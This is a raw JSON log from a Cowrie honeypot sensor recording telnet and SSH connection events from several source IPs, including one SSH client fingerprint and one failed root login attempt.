{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":58838,"dst_ip":"159.203.135.109","dst_port":23,"session":"7069bd1fec65","protocol":"telnet","message":"New connection: 51.15.157.40:58838 (159.203.135.109:23) [session: 7069bd1fec65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:53.431389Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.224.242.7","src_port":46264,"dst_ip":"10.17.0.5","dst_port":23,"session":"71d236ab9857","protocol":"telnet","message":"New connection: 109.224.242.7:46264 (10.17.0.5:23) [session: 71d236ab9857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:53.527226Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":52078,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6d853ae8ee7","protocol":"telnet","message":"New connection: 157.15.20.138:52078 (159.203.135.109:23) [session: d6d853ae8ee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:53.533167Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":35278,"dst_ip":"159.203.135.109","dst_port":23,"session":"9abb022f85a6","protocol":"telnet","message":"New connection: 62.171.133.168:35278 (159.203.135.109:23) [session: 9abb022f85a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:53.605700Z"}
{"eventid":"cowrie.session.closed","duration":31.397191047668457,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:53.780282Z","src_ip":"51.15.157.40","session":"c913b94b9012","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.942258596420288,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:53.790658Z","src_ip":"51.15.157.40","session":"cf9599fdf462","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.015103578567505,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:53.798180Z","src_ip":"51.15.157.40","session":"7c39b901a192","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.699574947357178,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:53.805652Z","src_ip":"89.39.83.70","session":"448f53bdcd8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":50738,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0bd28d8980b","protocol":"telnet","message":"New connection: 103.171.45.122:50738 (159.203.135.109:23) [session: f0bd28d8980b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:53.857042Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":60622,"dst_ip":"159.203.135.109","dst_port":23,"session":"cad9868f4fd9","protocol":"telnet","message":"New connection: 51.15.157.40:60622 (159.203.135.109:23) [session: cad9868f4fd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:53.881255Z"}
{"eventid":"cowrie.session.closed","duration":33.732200622558594,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:53.913829Z","src_ip":"157.15.20.138","session":"790b616beaa4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20607566833496,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:54.064579Z","src_ip":"157.15.20.138","session":"5bd22dcf27df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.427692651748657,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:54.218980Z","src_ip":"51.15.157.40","session":"5b51ee9fa36a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":36098,"dst_ip":"159.203.135.109","dst_port":23,"session":"c427a8a5bc86","protocol":"telnet","message":"New connection: 51.15.157.40:36098 (159.203.135.109:23) [session: c427a8a5bc86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:54.265449Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":35294,"dst_ip":"159.203.135.109","dst_port":23,"session":"9570cf56f78e","protocol":"telnet","message":"New connection: 62.171.133.168:35294 (159.203.135.109:23) [session: 9570cf56f78e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:54.400434Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":42052,"dst_ip":"159.203.135.109","dst_port":23,"session":"a86b7e34c93e","protocol":"telnet","message":"New connection: 104.236.196.85:42052 (159.203.135.109:23) [session: a86b7e34c93e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:54.530169Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":38378,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ff98996f3c2","protocol":"telnet","message":"New connection: 51.15.157.40:38378 (159.203.135.109:23) [session: 0ff98996f3c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:54.995602Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":38732,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb417eeafd00","protocol":"telnet","message":"New connection: 51.15.157.40:38732 (159.203.135.109:23) [session: bb417eeafd00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:55.135278Z"}
{"eventid":"cowrie.session.closed","duration":30.948484182357788,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:55.250123Z","src_ip":"103.171.45.122","session":"6746567143ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":52082,"dst_ip":"159.203.135.109","dst_port":23,"session":"31c35a21fa3c","protocol":"telnet","message":"New connection: 157.15.20.138:52082 (159.203.135.109:23) [session: 31c35a21fa3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:55.256668Z"}
{"eventid":"cowrie.session.closed","duration":31.009509563446045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:55.301707Z","src_ip":"103.171.45.122","session":"32624cee22c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":59542,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b2e3557367c","protocol":"telnet","message":"New connection: 51.15.157.40:59542 (159.203.135.109:23) [session: 8b2e3557367c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:55.623526Z"}
{"eventid":"cowrie.session.closed","duration":13.122253179550171,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:55.891450Z","src_ip":"94.205.10.190","session":"64ba8b036baf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19864273071289,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:55.903212Z","src_ip":"157.15.20.138","session":"5c893759e06f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":40478,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb377fdfb94a","protocol":"telnet","message":"New connection: 51.15.157.40:40478 (159.203.135.109:23) [session: eb377fdfb94a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:55.942030Z"}
{"eventid":"cowrie.session.closed","duration":30.602030992507935,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:56.114154Z","src_ip":"51.15.157.40","session":"81e8a7d343ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.365060567855835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:56.128836Z","src_ip":"157.15.20.138","session":"c2d6f606e183","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":42056,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b83008f1747","protocol":"telnet","message":"New connection: 104.236.196.85:42056 (159.203.135.109:23) [session: 0b83008f1747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:56.235575Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":35298,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b61d2a23517","protocol":"telnet","message":"New connection: 62.171.133.168:35298 (159.203.135.109:23) [session: 4b61d2a23517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:56.262706Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":39476,"dst_ip":"159.203.135.109","dst_port":23,"session":"680450c0afdb","protocol":"telnet","message":"New connection: 51.15.157.40:39476 (159.203.135.109:23) [session: 680450c0afdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:56.474002Z"}
{"eventid":"cowrie.session.closed","duration":30.42558741569519,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:56.983599Z","src_ip":"62.171.133.168","session":"282f3c91a122","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":37584,"dst_ip":"159.203.135.109","dst_port":23,"session":"e48a40579a4d","protocol":"telnet","message":"New connection: 157.15.20.138:37584 (159.203.135.109:23) [session: e48a40579a4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:57.640442Z"}
{"eventid":"cowrie.session.closed","duration":30.32639193534851,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:58.080729Z","src_ip":"51.15.157.40","session":"f53e4236d07f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.421276092529297,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:58.129595Z","src_ip":"157.15.20.138","session":"024439f6f599","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":38730,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c76ca44f666","protocol":"telnet","message":"New connection: 51.15.157.40:38730 (159.203.135.109:23) [session: 1c76ca44f666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:58.141442Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.39.83.70","src_port":50454,"dst_ip":"159.203.135.109","dst_port":23,"session":"1793a7d42913","protocol":"telnet","message":"New connection: 89.39.83.70:50454 (159.203.135.109:23) [session: 1793a7d42913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:58.181232Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":35300,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4f2270dd015","protocol":"telnet","message":"New connection: 62.171.133.168:35300 (159.203.135.109:23) [session: f4f2270dd015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:58.307178Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":35306,"dst_ip":"159.203.135.109","dst_port":23,"session":"39aa36126290","protocol":"telnet","message":"New connection: 62.171.133.168:35306 (159.203.135.109:23) [session: 39aa36126290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:58.357516Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":35312,"dst_ip":"159.203.135.109","dst_port":23,"session":"f78a2c3c1691","protocol":"telnet","message":"New connection: 62.171.133.168:35312 (159.203.135.109:23) [session: f78a2c3c1691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:59.119607Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":49026,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab3496bc32de","protocol":"telnet","message":"New connection: 103.171.45.122:49026 (159.203.135.109:23) [session: ab3496bc32de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:59.139831Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":51110,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc6c23cd7272","protocol":"telnet","message":"New connection: 51.15.157.40:51110 (159.203.135.109:23) [session: dc6c23cd7272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:59.771307Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":51802,"dst_ip":"159.203.135.109","dst_port":23,"session":"e73f3fb07f08","protocol":"telnet","message":"New connection: 51.15.157.40:51802 (159.203.135.109:23) [session: e73f3fb07f08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:59.994477Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":49034,"dst_ip":"159.203.135.109","dst_port":23,"session":"1afb4f6597d9","protocol":"telnet","message":"New connection: 103.171.45.122:49034 (159.203.135.109:23) [session: 1afb4f6597d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:00.026318Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":37590,"dst_ip":"159.203.135.109","dst_port":23,"session":"21dcdd1cf04a","protocol":"telnet","message":"New connection: 157.15.20.138:37590 (159.203.135.109:23) [session: 21dcdd1cf04a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:00.046449Z"}
{"eventid":"cowrie.session.closed","duration":30.793344259262085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:00.185205Z","src_ip":"51.15.157.40","session":"d4c3d73f1931","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.563152074813843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:00.255468Z","src_ip":"103.171.45.122","session":"6e835622b724","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.775859594345093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:00.268811Z","src_ip":"103.171.45.122","session":"d3bc7ee6a81f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":52490,"dst_ip":"159.203.135.109","dst_port":23,"session":"f466e556d914","protocol":"telnet","message":"New connection: 51.15.157.40:52490 (159.203.135.109:23) [session: f466e556d914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:00.298847Z"}
{"eventid":"cowrie.session.closed","duration":31.28657102584839,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:00.337586Z","src_ip":"103.171.45.122","session":"6f0e9a7dc79c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16487193107605,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:00.382432Z","src_ip":"51.15.157.40","session":"b038814a1fc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":52854,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ff34cefee5f","protocol":"telnet","message":"New connection: 51.15.157.40:52854 (159.203.135.109:23) [session: 1ff34cefee5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:00.417619Z"}
{"eventid":"cowrie.session.closed","duration":30.648048400878906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:00.573104Z","src_ip":"51.15.157.40","session":"9361dafda346","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.923447608947754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:00.764530Z","src_ip":"103.171.45.122","session":"c1cd01b8632c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":37592,"dst_ip":"159.203.135.109","dst_port":23,"session":"e54a5016a3ac","protocol":"telnet","message":"New connection: 157.15.20.138:37592 (159.203.135.109:23) [session: e54a5016a3ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:00.889715Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":54646,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6f0625a2a02","protocol":"telnet","message":"New connection: 51.15.157.40:54646 (159.203.135.109:23) [session: e6f0625a2a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:01.031940Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.163.156.190","src_port":55948,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad2e84896c42","protocol":"ssh","message":"New connection: 113.163.156.190:55948 (159.203.135.109:22) [session: ad2e84896c42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:01.224305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:01.229859Z","src_ip":"113.163.156.190","session":"ad2e84896c42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.291035175323486,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:01.233508Z","src_ip":"157.15.20.138","session":"b67f7c540dca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.211578369140625,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:01.267619Z","src_ip":"157.15.20.138","session":"43d8c74b94a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.293511390686035,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:01.280884Z","src_ip":"103.171.45.122","session":"dabcd4139702","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.300551652908325,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:01.293575Z","src_ip":"103.171.45.122","session":"b68e7678f7d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.795745372772217,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:01.297756Z","src_ip":"34.69.118.1","session":"ee4c86d9c506","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":56088,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a7ec59f3dcc","protocol":"telnet","message":"New connection: 51.15.157.40:56088 (159.203.135.109:23) [session: 5a7ec59f3dcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:01.469578Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:01.480035Z","src_ip":"113.163.156.190","session":"ad2e84896c42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.04891872406006,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:01.612952Z","src_ip":"51.15.157.40","session":"a7f6633e7b7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24057412147522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:01.617913Z","src_ip":"51.15.157.40","session":"d96b86245641","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":57510,"dst_ip":"159.203.135.109","dst_port":23,"session":"4763fea3f9f3","protocol":"telnet","message":"New connection: 51.15.157.40:57510 (159.203.135.109:23) [session: 4763fea3f9f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:01.934505Z"}
{"eventid":"cowrie.session.closed","duration":31.04543399810791,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:02.236671Z","src_ip":"51.15.157.40","session":"31852e8a12cf","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"k8s@2024","message":"login attempt [root/k8s@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:02.509247Z","src_ip":"113.163.156.190","session":"ad2e84896c42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.386848211288452,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:02.734300Z","src_ip":"51.15.157.40","session":"7ad755ab686b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":60136,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b809f8757b5","protocol":"telnet","message":"New connection: 51.15.157.40:60136 (159.203.135.109:23) [session: 3b809f8757b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:02.739014Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":60372,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfd3e49c97af","protocol":"telnet","message":"New connection: 51.15.157.40:60372 (159.203.135.109:23) [session: dfd3e49c97af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:02.831661Z"}
{"eventid":"cowrie.session.closed","duration":30.160690784454346,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:03.043665Z","src_ip":"104.236.196.85","session":"657aac0b96c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.853789567947388,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:03.131939Z","src_ip":"51.15.157.40","session":"97563d7c35c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":50950,"dst_ip":"159.203.135.109","dst_port":23,"session":"77c8c3a98edf","protocol":"telnet","message":"New connection: 34.69.118.1:50950 (159.203.135.109:23) [session: 77c8c3a98edf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:03.188818Z"}
{"eventid":"cowrie.session.closed","duration":30.460963010787964,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:03.247506Z","src_ip":"103.171.45.122","session":"d8fe6aae0f1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.801595211029053,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:03.255542Z","src_ip":"104.236.196.85","session":"ca818d33ea0d","protocol":"telnet"}
